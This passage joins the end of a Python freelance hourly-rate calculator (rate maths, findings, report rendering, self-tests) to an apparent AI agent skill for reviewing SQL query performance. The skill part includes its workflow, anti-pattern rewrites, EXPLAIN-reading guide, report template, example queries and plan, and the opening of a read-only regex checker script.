return (r * hours * (1 - buffer) - cost_total) * (1 - tax) - set_total
sens = []
for pct in (40, 50, 60, 70, 80):
h = avail * pct / 100
sens.append({"billable_pct": pct, "billable_hours": round(h), "min_rate": round(revenue / h, 2)})
res = {"name": cfg.get("name", "freelancer"), "currency": cfg.get("currency", ""),
"costs": costs, "set_asides": sets, "business_costs": round(cost_total, 2), "set_aside_total": round(set_total, 2),
"target_net_income": net, "profit_before_tax": round(pre_tax, 2), "revenue_needed": round(revenue, 2),
"working_days": working_days, "available_hours": round(avail, 1), "billable_hours": round(bill_h, 1),
"billable_pct": billable * 100, "min_rate": round(min_rate, 2), "quoted_rate": rate,
"day_rate": round_up(rate * hpd, step), "hours_per_day": hpd, "break_even_rate": round(breakeven, 2),
"net_at_quoted": round(net_at(rate), 2), "sensitivity": sens, "findings": []}
findings = res["findings"]
def add(sev, code, msg):
findings.append({"severity": sev, "code": code, "message": msg})
cur = cfg.get("current_rate")
cur_info = None
if cur:
cur = float(cur)
hours_needed = revenue / cur
cur_info = {"rate": cur, "net_income": round(net_at(cur), 2), "shortfall": round(net - net_at(cur), 2),
"billable_hours_needed": round(hours_needed), "billable_pct_needed": round(hours_needed / avail * 100, 1)}
res["current"] = cur_info
if tax == 0:
add("HIGH", "NO_TAX", "no tax rate given; income tax and social contributions usually take 25-45% of profit")
if cur_info and cur < breakeven:
add("HIGH", "BELOW_BREAK_EVEN", f"current rate {cur:g} is below the break-even rate {breakeven:.2f}; every billed hour loses money")
elif cur_info and cur < min_rate:
add("HIGH", "BELOW_REQUIRED", f"current rate {cur:g} is {min_rate - cur:.2f} below the minimum {min_rate:.2f}; take-home falls {cur_info['shortfall']:,.0f} short "
f"(you would need {cur_info['billable_hours_needed']} billable hours, {cur_info['billable_pct_needed']}% of working time)")
m = cfg.get("market_rate") or {}
if m.get("high") and min_rate > float(m["high"]):
add("MEDIUM", "ABOVE_MARKET", f"minimum rate {min_rate:.2f} is above the market high {m['high']}; specialise, price by value, cut costs or lower the target")
elif m.get("low") and rate < float(m["low"]):
add("LOW", "UNDER_MARKET", f"quoted rate {rate:g} is below the market low {m['low']}; quote at least {m['low']}")
if billable > 0.75:
add("MEDIUM", "BILLABLE_HIGH", f"{billable * 100:.0f}% billable leaves too little time for sales, admin and learning; 50-70% is realistic")
if hpw > 50:
add("MEDIUM", "LONG_HOURS", f"{hpw:g} hours per week is not sustainable for a year")
if vac < 3:
add("MEDIUM", "SHORT_VACATION", f"only {vac:g} weeks of vacation planned; nobody pays you for holidays, so price them in")
if buffer == 0:
add("LOW", "NO_BUFFER", "no risk buffer for unpaid invoices and gaps between clients; 5-15% is common")
if sick == 0:
add("LOW", "NO_SICK_DAYS", "no sick days planned; budget at least 5")
p = cfg.get("project")
if p:
hrs = float(p.get("estimated_hours", 0))
cont = float(p.get("contingency_pct", 0)) / 100
res["project"] = {"name": p.get("name", "project"), "estimated_hours": hrs, "contingency_pct": cont * 100,
"quoted_hours": round(hrs * (1 + cont), 1), "price": round_up(hrs * (1 + cont) * rate, 10),
"price_at_current": round_up(hrs * (1 + cont) * cur, 10) if cur else None}
if cont == 0:
add("LOW", "NO_CONTINGENCY", "project estimate has no contingency; add 15-30% for unknowns and revisions")
findings.sort(key=lambda f: SEV_ORDER[f["severity"]])
return res
def money(x, cur=""):
return f"{x:,.0f} {cur}".strip() if abs(x) >= 100 else f"{x:,.2f} {cur}".strip()
def rate_fmt(x, cur=""):
return f"{x:,.2f} {cur}".strip()
def render(r):
c = r["currency"]
out = [f"# Freelance rate plan: {r['name']}", "",
f"Minimum rate {rate_fmt(r['min_rate'], c)}/h -> quote **{rate_fmt(r['quoted_rate'], c)}/h**, day rate {money(r['day_rate'], c)} ({r['hours_per_day']:g} h)",
f"Break-even (covers costs, no income): {rate_fmt(r['break_even_rate'], c)}/h | take-home at the quoted rate: {money(r['net_at_quoted'], c)}/year", "",
"## From take-home to revenue", "| Step | Amount |", "|---|---|",
f"| Target take-home | {money(r['target_net_income'], c)} |",
f"| + set-asides ({', '.join(s['name'] for s in r['set_asides']) or 'none'}) | {money(r['set_aside_total'], c)} |",
f"| = profit before tax | {money(r['profit_before_tax'], c)} |",
f"| + business costs | {money(r['business_costs'], c)} |",
f"| = revenue needed (incl. risk buffer) | {money(r['revenue_needed'], c)} |", "",
"## Time", f"{r['working_days']:g} working days, {r['available_hours']:g} working hours, {r['billable_pct']:g}% billable = **{r['billable_hours']:g} billable hours**", "",
"| Billable share | Billable hours | Minimum rate |", "|---|---|---|"]
for s in r["sensitivity"]:
out.append(f"| {s['billable_pct']}% | {s['billable_hours']} | {rate_fmt(s['min_rate'], c)} |")
out += ["", "## Business costs", "| Cost | Per year |", "|---|---|"]
for k in r["costs"]:
out.append(f"| {k['name']} | {money(k['annual'], c)} |")
if r.get("current"):
cu = r["current"]
out += ["", "## Current rate", f"At {rate_fmt(cu['rate'], c)}/h: take-home {money(cu['net_income'], c)}/year "
f"({'short by ' + money(cu['shortfall'], c) if cu['shortfall'] > 0 else 'target met'}); target needs {cu['billable_hours_needed']} billable hours ({cu['billable_pct_needed']}% of working time)"]
if r.get("project"):
p = r["project"]
out += ["", f"## Project quote: {p['name']}", f"{p['estimated_hours']:g} h + {p['contingency_pct']:g}% contingency = {p['quoted_hours']:g} h x {rate_fmt(r['quoted_rate'], c)} -> **{money(p['price'], c)}**"
+ (f" (at the current rate: {money(p['price_at_current'], c)})" if p.get("price_at_current") else "")]
out += ["", "## Findings"]
if not r["findings"]:
out.append("- none")
for f in r["findings"]:
out.append(f"- {f['severity']} {f['code']}: {f['message']}")
return "\n".join(out) + "\n"
def self_test():
tests, ok = [], 0
def check(name, cond):
nonlocal ok
tests.append(name)
print(("PASS " if cond else "FAIL ") + name)
ok += bool(cond)
base = {"target_net_income": 50000, "tax": {"effective_rate_pct": 30}, "business_costs": [{"name": "x", "annual": 10000}],
"time": {"hours_per_week": 40, "vacation_weeks": 4, "public_holidays_days": 10, "sick_days": 5, "training_days": 5, "billable_pct": 60},
"risk_buffer_pct": 10}
r = calc(base)
check("working days 260-20-10-5-5 = 220", r["working_days"] == 220)
check("billable hours 220 x 8 x 60% = 1056", r["billable_hours"] == 1056)
check("profit before tax 50000/0.7", abs(r["profit_before_tax"] - 71428.57) < 0.01)
check("revenue (71428.57+10000)/0.9", abs(r["revenue_needed"] - 90476.19) < 0.01)
check("minimum rate 90476.19/1056 = 85.68", abs(r["min_rate"] - 85.68) < 0.01)
check("quoted rate rounded up to 90", r["quoted_rate"] == 90)
check("day rate 8 x 90 = 720", r["day_rate"] == 720)
check("break-even 10000/0.9/1056 = 10.52", abs(r["break_even_rate"] - 10.52) < 0.01)
check("net at the minimum rate equals target", abs(((r["min_rate"] * 1056 * 0.9 - 10000) * 0.7) - 50000) < 10)
check("clean plan has no findings", r["findings"] == [])
check("monthly cost x 12", annual({"monthly": 150}) == 1800)
check("set-asides raise the rate", calc({**base, "set_asides": [{"name": "pension", "annual": 7000}]})["min_rate"] > r["min_rate"])
check("sensitivity 50% rate higher than 70%", r["sensitivity"][1]["min_rate"] > r["sensitivity"][3]["min_rate"])
def codes(**over):
c = json.loads(json.dumps(base))
for k, v in over.items():
if isinstance(v, dict) and isinstance(c.get(k), dict):
c[k].update(v)
else:
c[k] = v
return {f["code"] for f in calc(c)["findings"]}
check("no tax HIGH", "NO_TAX" in codes(tax={"effective_rate_pct": 0}))
check("below required HIGH", "BELOW_REQUIRED" in codes(current_rate=60))
check("below break-even HIGH", "BELOW_BREAK_EVEN" in codes(current_rate=8))
check("rate above market MEDIUM", "ABOVE_MARKET" in codes(market_rate={"low": 40, "high": 70}))
check("rate under market LOW", "UNDER_MARKET" in codes(market_rate={"low": 120, "high": 160}))
check("billable 85% MEDIUM", "BILLABLE_HIGH" in codes(time={"billable_pct": 85}))
check("55 h/week MEDIUM", "LONG_HOURS" in codes(time={"hours_per_week": 55}))
check("2 weeks vacation MEDIUM", "SHORT_VACATION" in codes(time={"vacation_weeks": 2}))
check("no buffer LOW", "NO_BUFFER" in codes(risk_buffer_pct=0))
check("no sick days LOW", "NO_SICK_DAYS" in codes(time={"sick_days": 0}))
check("no contingency LOW", "NO_CONTINGENCY" in codes(project={"estimated_hours": 40, "contingency_pct": 0}))
p = calc({**base, "project": {"estimated_hours": 100, "contingency_pct": 20}})["project"]
check("project 120 h x 90 = 10800", p["quoted_hours"] == 120 and p["price"] == 10800)
for bad, label in (({"tax": {"effective_rate_pct": 95}}, "tax 95% rejected"), ({"time": {"billable_pct": 0}}, "billable 0 rejected"),
({"time": {"vacation_weeks": 60}}, "no working days rejected")):
try:
c = json.loads(json.dumps(base))
for k, v in bad.items():
c[k].update(v)
calc(c)
check(label, False)
except DataError:
check(label, True)
print(f"{ok}/{len(tests)} passed")
return 0 if ok == len(tests) else 1
def main():
ap = argparse.ArgumentParser(description="Freelance hourly rate calculator")
ap.add_argument("plan", nargs="?", help="plan JSON file")
ap.add_argument("--round", type=float, default=5, help="round the quoted rate up to this step (default 5)")
ap.add_argument("--json", action="store_true")
ap.add_argument("--self-test", action="store_true")
a = ap.parse_args()
if a.self_test:
return self_test()
if not a.plan:
ap.error("plan file required")
try:
with open(a.plan, encoding="utf-8") as fh:
r = calc(json.load(fh), a.round)
except (OSError, json.JSONDecodeError, DataError, ValueError, TypeError) as e:
print(f"error: {e}", file=sys.stderr)
return 2
print(json.dumps(r, indent=2) if a.json else render(r), end="\n" if a.json else "")
return 1 if any(f["severity"] == "HIGH" for f in r["findings"]) else 0
if __name__ == "__main__":
sys.exit(main())审查 SQL 与可选 EXPLAIN：SELECT *、函数包裹列、缺失索引等常见性能问题。
---
name: sql-query-performance-reviewer
description: 审查 SQL 与可选 EXPLAIN：SELECT *、函数包裹列、缺失索引等常见性能问题。
---
# SQL 查询性能审查器
你是「SQL 查询性能审查器」技能助手。上方 description 为中文任务说明。下方保留原技能完整正文（含脚本与代码）；执行时遵循中文说明与原文技术细节。
# SQL Query Performance Reviewer
You review SQL the way an experienced database engineer does in a code review: you read the query and its plan, find the patterns that make it slow (or quietly wrong), and hand back a rewritten query with a short reason for every change. You work for PostgreSQL, MySQL/MariaDB, SQL Server and SQLite and say when advice differs between them.
## Files in this skill
- `scripts/sql_review.py` - scans a .sql file (one or many statements) and optional EXPLAIN output, prints findings by severity (Python 3 standard library only; never connects to a database or runs the SQL)
- `references/anti-patterns.md` - each finding with why it hurts, a before/after rewrite and engine differences
- `references/reading-explain.md` - how to capture and read EXPLAIN in PostgreSQL and MySQL, and which numbers matter
- `templates/review-report.md` - the review you hand back: summary, findings table, rewritten queries, what to measure
- `examples/order-history.sql`, `examples/order-history-explain.txt`, `examples/indexes.txt` - an online shop's order history page with 7 statements, a PostgreSQL plan and the known indexes
## Workflow
### 1. Collect the inputs
Ask for: the query or a log excerpt with the real statements, the database engine and version, rough table sizes, and if possible `EXPLAIN (ANALYZE, BUFFERS)` (PostgreSQL) or `EXPLAIN ANALYZE` / `EXPLAIN ... \G` (MySQL 8) output. Index definitions help (`\d table` or `SHOW INDEX FROM table`); write them as `table(col1, col2)` lines for `--indexes`. Ask them to replace customer data in literals with fake values before pasting.
### 2. Run the checker
```
python3 scripts/sql_review.py examples/order-history.sql --explain examples/order-history-explain.txt --indexes examples/indexes.txt
python3 scripts/sql_review.py slow.sql --json
python3 scripts/sql_review.py --self-test
```
Exit code 1 means HIGH findings, 2 means bad input. The script is a regex heuristic: it can miss problems in very complex SQL and can raise false positives. Read every statement yourself as well.
### 3. Review
Order the work: correctness first (AND_OR_PRECEDENCE, NOT_IN_SUBQUERY, NO_WHERE_WRITE), then the biggest cost from the plan (SEQ_SCAN_LARGE, ROWS_REMOVED, DISK_SORT), then N_PLUS_ONE (often the largest total time in an app), then the rest. For each finding give the rewrite from `references/anti-patterns.md` adapted to the user's columns. When an index is the fix, propose it but keep index design short (column order: equality, then sort, then range) and remind them every index slows writes.
### 4. Deliver
Fill `templates/review-report.md`: one-line summary, the findings table, each rewritten query, and the before/after measurement plan (run EXPLAIN ANALYZE again, compare execution time and rows read). Never claim a speed-up you did not measure; say "expected".
## Example result
For the example files: 7 statements, 6 HIGH, 7 MEDIUM, 2 LOW. HIGH: `status = 'paid' OR status = 'shipped'` without parentheses returns every shipped order of every customer; LOWER(customer_email) and DATE(created_at) hide columns from indexes; 3 single-order item queries form an N+1 loop (one `WHERE order_id IN (...)` query instead); `LIKE '%wireless%'`; the plan shows a Seq Scan reading 412560 rows. MEDIUM: SELECT *, OFFSET 4000, sku compared with a number, sku without an index, NOT IN subquery, external merge sort on disk, estimate 19930 vs actual 412560 rows (run ANALYZE).
## Rules
- Never run SQL against the user's database yourself and never ask for production credentials.
- Ask for anonymized literals; do not repeat personal data from pasted queries in the report.
- Correctness beats speed: point out queries that return wrong rows even if they are fast.
- Prefer rewriting the query over adding an index; add an index only for a query that runs often or is slow.
- Name the engine when advice is engine-specific (e.g. expression indexes, ILIKE, LIMIT a,b).
- Measured plans beat heuristics: if EXPLAIN ANALYZE disagrees with a finding, trust the plan.
FILE:references/anti-patterns.md
# SQL Performance Anti-Patterns
Each section: what the checker flags, why it hurts, and a rewrite. "Sargable" means the database can use an index to find the rows (Search ARGument ABLE).
## AND_OR_PRECEDENCE (HIGH, correctness)
AND binds tighter than OR, so `customer_id = 7 AND status = 'paid' OR status = 'shipped'` means `(customer_id = 7 AND status = 'paid') OR status = 'shipped'`: every shipped order of every customer, and a full scan.
```
-- after
WHERE customer_id = 7 AND status IN ('paid', 'shipped')
```
## FUNC_ON_COLUMN (HIGH)
`WHERE LOWER(email) = ?`, `YEAR(created_at) = 2026`, `DATE(created_at) = ?`, `price * 2 > 100`: the index stores raw values, so the function must run on every row.
```
-- dates: use a half-open range on the raw column
WHERE created_at >= '2026-10-01' AND created_at < '2026-10-02'
-- arithmetic: move it to the constant side
WHERE price > 50
-- case-insensitive search: store normalized data or index the expression
CREATE INDEX ON customers (LOWER(email)); -- PostgreSQL, SQLite 3.9+
ALTER TABLE customers ADD email_lc VARCHAR(255) AS (LOWER(email)) STORED, ADD INDEX (email_lc); -- MySQL 5.7+
-- MySQL 8.0.13+ also supports functional indexes: CREATE INDEX ix ON customers ((LOWER(email)));
-- PostgreSQL alternative: the citext type
```
## LEADING_WILDCARD (HIGH)
`LIKE '%wireless%'` cannot use a B-tree index (only a prefix like `'wireless%'` can). Options: full-text search (PostgreSQL `tsvector` + GIN, MySQL `FULLTEXT` + `MATCH ... AGAINST`), a trigram index (`CREATE EXTENSION pg_trgm; CREATE INDEX ... USING gin (name gin_trgm_ops)`), a search engine for product search, or a reversed column for suffix searches (`'%@example.com'`).
## N_PLUS_ONE (HIGH)
One query for a list, then one query per row (an ORM lazy-loading a relation). 50 orders = 51 round trips; each is fast, the page is slow.
```
-- before (x N)
SELECT product_id, qty FROM order_items WHERE order_id = 98211;
-- after (1 query)
SELECT order_id, product_id, qty FROM order_items WHERE order_id IN (98211, 98340, 98502);
-- or join it into the list query
```
ORM fixes: Django `prefetch_related`/`select_related`, Rails `includes`, SQLAlchemy `selectinload`, Hibernate `JOIN FETCH` / `@BatchSize`, Prisma `include`. The checker needs the repeated statements in the file (paste a log excerpt).
## ORDER_BY_RANDOM (HIGH)
`ORDER BY RAND() LIMIT 1` reads and sorts the whole table. Pick a random id in range and take the next row (`WHERE id >= ? ORDER BY id LIMIT 1`), keep a random-number column with an index, or use `TABLESAMPLE SYSTEM (1)` in PostgreSQL.
## NO_WHERE_WRITE (HIGH)
`UPDATE`/`DELETE` without WHERE locks and rewrites every row. If that is intended, do it in batches (`DELETE ... WHERE id IN (SELECT id ... LIMIT 5000)` in a loop) or use `TRUNCATE`.
## SELECT_STAR (MEDIUM)
Reads every column (including large text/JSON), sends more bytes, prevents index-only scans and breaks callers when columns change. List the columns. `SELECT *` inside `EXISTS (...)` is fine.
## OR_ACROSS_COLUMNS (MEDIUM) and OR_SAME_COLUMN (LOW)
`WHERE email = ? OR phone = ?`: one index cannot serve both. PostgreSQL may combine two indexes with a BitmapOr and MySQL with index_merge; if the plan shows a scan instead, split:
```
SELECT id FROM users WHERE email = ?
UNION ALL
SELECT id FROM users WHERE phone = ? AND email IS DISTINCT FROM ?; -- avoid duplicates (MySQL: NOT (email <=> ?))
```
Same column repeated: `status IN ('paid', 'shipped')` is shorter and plans the same or better.
## IMPLICIT_CAST (MEDIUM) and QUOTED_NUMBER (LOW)
A text column compared with a number (`sku = 40017` on a VARCHAR): MySQL converts every row's value to a number, so the index is skipped and '040017' also matches; PostgreSQL raises an operator error. Quote the value. A numeric column compared with a quoted number (`customer_id = '1042'`) is converted once and is usually fine, but it often means the application binds ids as strings; a parameter typed as text can force a cast on the column side in some drivers (JDBC `setString` on SQL Server NVARCHAR vs VARCHAR is the classic case).
## NOT_IN_SUBQUERY (MEDIUM, correctness)
If the subquery returns a single NULL, `NOT IN` returns no rows at all. Use:
```
SELECT c.id FROM customers c
WHERE NOT EXISTS (SELECT 1 FROM orders o WHERE o.customer_id = c.id);
```
NOT EXISTS plans as an anti-join in every major engine.
## DEEP_OFFSET (MEDIUM)
`LIMIT 20 OFFSET 4000` reads 4020 rows and throws away 4000; page 500 is 25x slower than page 1. Keyset (seek) pagination:
```
SELECT id, created_at, total FROM orders
WHERE customer_id = ? AND (created_at, id) < (?, ?) -- last row of the previous page
ORDER BY created_at DESC, id DESC
LIMIT 20;
```
Index `(customer_id, created_at, id)`. MySQL supports row comparisons too; SQL Server: `created_at < ? OR (created_at = ? AND id < ?)`.
## COUNT_FOR_EXISTS (LOW)
`SELECT COUNT(*) ... > 0` counts all matches. `SELECT EXISTS (SELECT 1 FROM ... WHERE ...)` stops at the first.
## DISTINCT_JOIN (LOW)
`SELECT DISTINCT u.* FROM users u JOIN orders o ...` builds all user x order rows then removes duplicates. Use `WHERE EXISTS (SELECT 1 FROM orders o WHERE o.user_id = u.id)`.
## NO_INDEX_FOR_FILTER (MEDIUM, needs --indexes)
A column used in WHERE/ON is not the first column of any listed index. Not every filter needs an index (small tables, low-selectivity flags, rare queries). Composite index order: equality columns first, then the ORDER BY column, then range columns; include selected columns for an index-only scan only when the query is hot.
FILE:references/reading-explain.md
# Reading EXPLAIN
## Capture
| Engine | Command | Notes |
|---|---|---|
| PostgreSQL | `EXPLAIN (ANALYZE, BUFFERS) <query>;` | ANALYZE runs the query; wrap writes in `BEGIN; ... ROLLBACK;` |
| MySQL 8 | `EXPLAIN ANALYZE <query>;` or `EXPLAIN <query>\G` | The checker parses the `\G` vertical format |
| MariaDB | `ANALYZE <query>;` / `EXPLAIN <query>\G` | |
| SQL Server | `SET STATISTICS IO, TIME ON;` + actual execution plan | Read manually |
| SQLite | `EXPLAIN QUERY PLAN <query>;` | Look for `SCAN table` vs `SEARCH table USING INDEX` |
Run it on production-like data. A plan on a 1000-row dev table tells you nothing about a 50-million-row table.
## What the checker looks for
| Finding | PostgreSQL sign | MySQL sign |
|---|---|---|
| SEQ_SCAN_LARGE | `Seq Scan on t` with actual rows >= 10000 | `type: ALL`, `rows` >= 10000, `key: NULL` |
| ROWS_REMOVED | `Rows Removed by Filter` >= 9x the rows kept | `filtered` <= 10% on >= 1000 rows |
| EST_MISMATCH | `rows=` estimate vs `actual ... rows=` off by 10x | (EXPLAIN ANALYZE only, read manually) |
| DISK_SORT | `Sort Method: external merge Disk: ...` | `Using temporary; Using filesort` |
| NESTED_LOOP_MANY | inner node with `loops=` >= 1000 | many rows in the driving table + `ref` lookups |
## Reading a PostgreSQL plan
- Read from the most indented node up; each `->` feeds its parent.
- `cost=a..b` is the planner's guess (arbitrary units), `actual time=a..b` is milliseconds per loop; multiply by `loops`.
- `rows=` in the cost part is the estimate, in the actual part the real count. A 10x miss means stale or missing statistics: `ANALYZE table;`, or extended statistics for correlated columns (`CREATE STATISTICS`).
- `Index Scan` / `Index Only Scan` / `Bitmap Index Scan` = index used. `Heap Fetches` high on an index-only scan = run VACUUM.
- `Buffers: shared read=` counts 8 kB pages from disk; `hit=` from cache.
- `Sort Method: external merge` = the sort did not fit in `work_mem`. Prefer an index that returns rows in order; raise work_mem per session only for known reporting queries.
## Reading MySQL EXPLAIN
- `type` from best to worst: `const`, `eq_ref`, `ref`, `range`, `index` (full index scan), `ALL` (full table scan).
- `key` is the index chosen (`NULL` = none); `possible_keys` lists candidates.
- `rows` x `filtered`% = rows passed on to the next step.
- `Extra`: `Using index` (covering, good), `Using where` (filter after reading), `Using temporary` and `Using filesort` (extra work for GROUP BY / ORDER BY).
## Before/after measurement
1. Run the original 3 times, record median execution time and rows/buffers read.
2. Apply one change at a time (rewrite, then index).
3. Run again with the same parameters; also test a "big" customer and a "small" one, because plans change with data skew.
4. Check write cost for new indexes on hot tables (insert latency, index size with `pg_relation_size` or `information_schema.STATISTICS`).
FILE:templates/review-report.md
# SQL performance review: <query or endpoint name>
**Engine:** <PostgreSQL 16 / MySQL 8.0 / ...> **Tables:** <orders ~1.2M rows, order_items ~4M>
**Summary:** <one sentence: the main problem and the expected effect of the fix>
## Findings
| # | Severity | Finding | Statement | Why it matters | Fix |
|---|---|---|---|---|---|
| 1 | HIGH | <AND_OR_PRECEDENCE> | <stmt 1> | <returns all shipped orders, full scan> | <parenthesize / IN (...)> |
| 2 | <MEDIUM> | <...> | <...> | <...> | <...> |
## Rewritten queries
### Statement <n>: <name>
Before:
```sql
<original>
```
After:
```sql
<rewrite>
```
Why: <one or two sentences>
## Index changes (only if needed)
```sql
<CREATE INDEX CONCURRENTLY ix_orders_customer_created ON orders (customer_id, created_at DESC, id);>
```
Write cost: <table write rate, expected index size>
## Measure
| Query | Before (ms, rows read) | After (ms, rows read) |
|---|---|---|
| <stmt 1> | <912 ms, 1.2M rows> | <expected: < 5 ms, ~20 rows> |
Run `EXPLAIN (ANALYZE, BUFFERS)` again after each change, with a large and a small customer.
## Not changed
<findings deliberately left, e.g. SELECT * in an admin export, with the reason>
FILE:examples/order-history.sql
-- Order history page of a small online shop (PostgreSQL), captured from the app log.
-- 1. Order list for the account page
SELECT * FROM orders o
WHERE LOWER(o.customer_email) = 'mina.sato@example.com'
AND o.status = 'paid' OR o.status = 'shipped'
ORDER BY o.created_at DESC
LIMIT 20 OFFSET 4000;
-- 2-4. Line items, loaded one order at a time by the ORM
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98211;
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98340;
SELECT product_id, qty, unit_price FROM order_items WHERE order_id = 98502;
-- 5. Search box
SELECT p.id, p.name FROM products p
WHERE p.name LIKE '%wireless%' AND p.sku = 40017;
-- 6. Customers who never ordered
SELECT c.id, c.email FROM customers c
WHERE c.id NOT IN (SELECT customer_id FROM orders)
AND DATE(c.created_at) = '2026-10-01';
-- 7. Order lookup by id from a URL parameter
SELECT o.id, o.total FROM orders o WHERE o.customer_id = '1042';
FILE:examples/order-history-explain.txt
Limit (cost=48211.30..48211.35 rows=20 width=212) (actual time=912.4..912.5 rows=20 loops=1)
-> Sort (cost=48201.30..48251.12 rows=19930 width=212) (actual time=905.1..911.8 rows=4020 loops=1)
Sort Key: created_at DESC
Sort Method: external merge Disk: 18432kB
-> Seq Scan on orders o (cost=0.00..41870.00 rows=19930 width=212) (actual time=0.03..801.7 rows=412560 loops=1)
Filter: (((lower(customer_email) = 'mina.sato@example.com'::text) AND (status = 'paid'::text)) OR (status = 'shipped'::text))
Rows Removed by Filter: 787440
Planning Time: 0.4 ms
Execution Time: 914.9 ms
FILE:examples/indexes.txt
orders(customer_id, created_at)
orders(status)
order_items(order_id)
customers(id)
products(id)
FILE:scripts/sql_review.py
#!/usr/bin/env python3
"""SQL query performance reviewer (Python 3 standard library only).
Reads a .sql file (one or more statements separated by ;) and, optionally, EXPLAIN output,
and flags common performance problems with a heuristic, regex-based scan. It does not connect
to a database and never runs the SQL. Treat findings as review prompts, not proof.
Query findings (severity):
HIGH FUNC_ON_COLUMN function or arithmetic wraps a column in WHERE/ON (index cannot be used)
HIGH LEADING_WILDCARD LIKE/ILIKE pattern starts with % or _ (full scan)
HIGH N_PLUS_ONE the same statement shape repeats >= --repeat times with different literals
HIGH ORDER_BY_RANDOM ORDER BY RAND()/RANDOM() sorts the whole table
HIGH NO_WHERE_WRITE UPDATE or DELETE without WHERE
HIGH AND_OR_PRECEDENCE AND and OR mixed without parentheses: AND binds first, so the OR branch
matches rows from the whole table (wrong results and a full scan)
MEDIUM SELECT_STAR SELECT * or alias.* (wide rows, no covering index, breaks on schema change)
MEDIUM OR_ACROSS_COLUMNS OR between different columns in WHERE (consider UNION ALL)
MEDIUM IMPLICIT_CAST code/phone/sku-like (text) column compared with a bare number: MySQL
casts every row and skips the index, PostgreSQL raises a type error
MEDIUM NOT_IN_SUBQUERY NOT IN (SELECT ...): NULL trap and poor anti-join plans; use NOT EXISTS
MEDIUM DEEP_OFFSET OFFSET (or LIMIT a,b) >= 1000: keyset pagination instead
MEDIUM NO_INDEX_FOR_FILTER (needs --indexes) filtered/joined column not leading any known index
LOW QUOTED_NUMBER id/number column compared with a quoted number: usually fine for a literal,
but a sign the app binds ids as text (typed text parameters can force a cast)
LOW OR_SAME_COLUMN col = a OR col = b: write col IN (a, b)
LOW COUNT_FOR_EXISTS COUNT(*) > 0 used as an existence check; use EXISTS
LOW DISTINCT_JOIN SELECT DISTINCT with JOIN may hide a join fan-out
EXPLAIN findings (PostgreSQL text format and MySQL EXPLAIN \\G vertical format):
HIGH SEQ_SCAN_LARGE Seq Scan / type ALL over >= --large-rows rows
MEDIUM ROWS_REMOVED a filter throws away >= 90% of the rows it reads
MEDIUM EST_MISMATCH estimated vs actual rows differ by >= 10x (stale statistics)
MEDIUM DISK_SORT external merge sort / Using filesort with Using temporary
LOW NESTED_LOOP_MANY inner side of a nested loop runs >= 1000 loops
Usage:
python3 sql_review.py query.sql
python3 sql_review.py query.sql --explain plan.txt --indexes indexes.txt --json
python3 sql_review.py --self-test
--indexes file: one index per line, e.g. "orders(customer_id, created_at)".
Exit code: 0 no HIGH findings, 1 HIGH findings, 2 bad input.
"""
import argparse
import json
import re
import sys
from collections import defaultdict
SEV_ORDER = {"HIGH": 0, "MEDIUM": 1, "LOW": 2}
FUNCS = ("lower", "upper", "trim", "ltrim", "rtrim", "date", "year", "month", "day", "cast",
"coalesce", "ifnull", "nvl", "substring", "substr", "left", "right", "to_char",
"date_trunc", "extract", "date_format", "convert", "abs", "round", "concat", "length")
ID_COL = re.compile(r"(^|_)(id|number|count|qty|quantity|amount)$")
TEXT_COL = re.compile(r"(phone|zip|postal_code|postcode|sku|isbn|iban|code|_no)$")
KEYWORDS = {"where", "on", "and", "or", "not", "join", "left", "right", "inner", "outer", "full",
"cross", "group", "order", "by", "limit", "offset", "having", "union", "select", "from",
"as", "using", "set", "values", "into", "lateral", "natural", "straight_join", "with"}
class DataError(ValueError):
pass
def mask(sql):
"""Remove comments, replace string literals with 'Sn' tokens; return (masked, literals)."""
sql = re.sub(r"--[^\n]*", " ", sql)
sql = re.sub(r"/\*.*?\*/", " ", sql, flags=re.S)
lits = []
def rep(m):
lits.append(m.group(0)[1:-1].replace("''", "'"))
return f"'S{len(lits) - 1}'"
return re.sub(r"'(?:[^']|'')*'", rep, sql), lits
def split_statements(text):
masked, lits = mask(text)
out = []
for part in masked.split(";"):
s = " ".join(part.split())
if s:
out.append(s)
return out, lits
def clause(stmt, start, enders):
m = re.search(r"\b" + start + r"\b", stmt, re.I)
if not m:
return ""
rest = stmt[m.end():]
e = re.search(r"\b(" + "|".join(enders) + r")\b", rest, re.I)
return rest[:e.start()] if e else rest
def where_part(stmt):
return clause(stmt, "where", ["group\\s+by", "order\\s+by", "limit", "offset", "having",
"union", "returning", "for\\s+update", "window"])
def join_on_parts(stmt):
return re.findall(r"\bon\b(.*?)(?=\b(?:join|left|right|inner|full|cross|where|group|order|limit|union)\b|$)",
stmt, re.I)
def aliases(stmt):
amap = {}
for m in re.finditer(r"\b(?:from|join)\s+([a-z_][\w.]*)(?:\s+(?:as\s+)?([a-z_]\w*))?", stmt, re.I):
table, alias = m.group(1).lower(), (m.group(2) or "").lower()
if table == "select" or table.startswith("("):
continue
amap[table.split(".")[-1]] = table.split(".")[-1]
if alias and alias not in KEYWORDS:
amap[alias] = table.split(".")[-1]
return amap
def shape(stmt):
s = re.sub(r"'S\d+'", "?", stmt)
s = re.sub(r"\b\d+(\.\d+)?\b", "?", s)
s = re.sub(r"\(\s*\?(\s*,\s*\?)*\s*\)", "(?)", s)
return s.lower()
def review_sql(text, repeat=3, indexes=None):
stmts, lits = split_statements(text)
if not stmts:
raise DataError("no SQL statements found")
findings = []
def add(sev, code, n, msg):
findings.append({"severity": sev, "code": code, "statement": n, "message": msg})
shapes = defaultdict(list)
for n, st in enumerate(stmts, 1):
low = st.lower()
kind = low.split()[0]
shapes[shape(st)].append(n)
where = where_part(st)
ons = join_on_parts(st)
filt = " AND ".join([where] + ons)
if re.search(r"\bselect\s+(distinct\s+)?(\w+\.)?\*", low) or re.search(r",\s*\w+\.\*", low):
add("MEDIUM", "SELECT_STAR", n, "SELECT * reads every column; list the columns you need so a covering index can serve the query")
for m in re.finditer(r"\b(" + "|".join(FUNCS) + r")\s*\(\s*([a-z_][\w]*(?:\.[a-z_]\w*)?)\b[^()]*\)\s*(=|<>|!=|<=|>=|<|>|\bin\b|\blike\b|\bbetween\b)",
filt, re.I):
col = m.group(2)
if col.lower() in KEYWORDS or re.fullmatch(r"S\d+", col):
continue
add("HIGH", "FUNC_ON_COLUMN", n, f"{m.group(1)}({col}) in a filter hides {col} from its index; compare the bare column (e.g. a range on the raw value) or add an expression index")
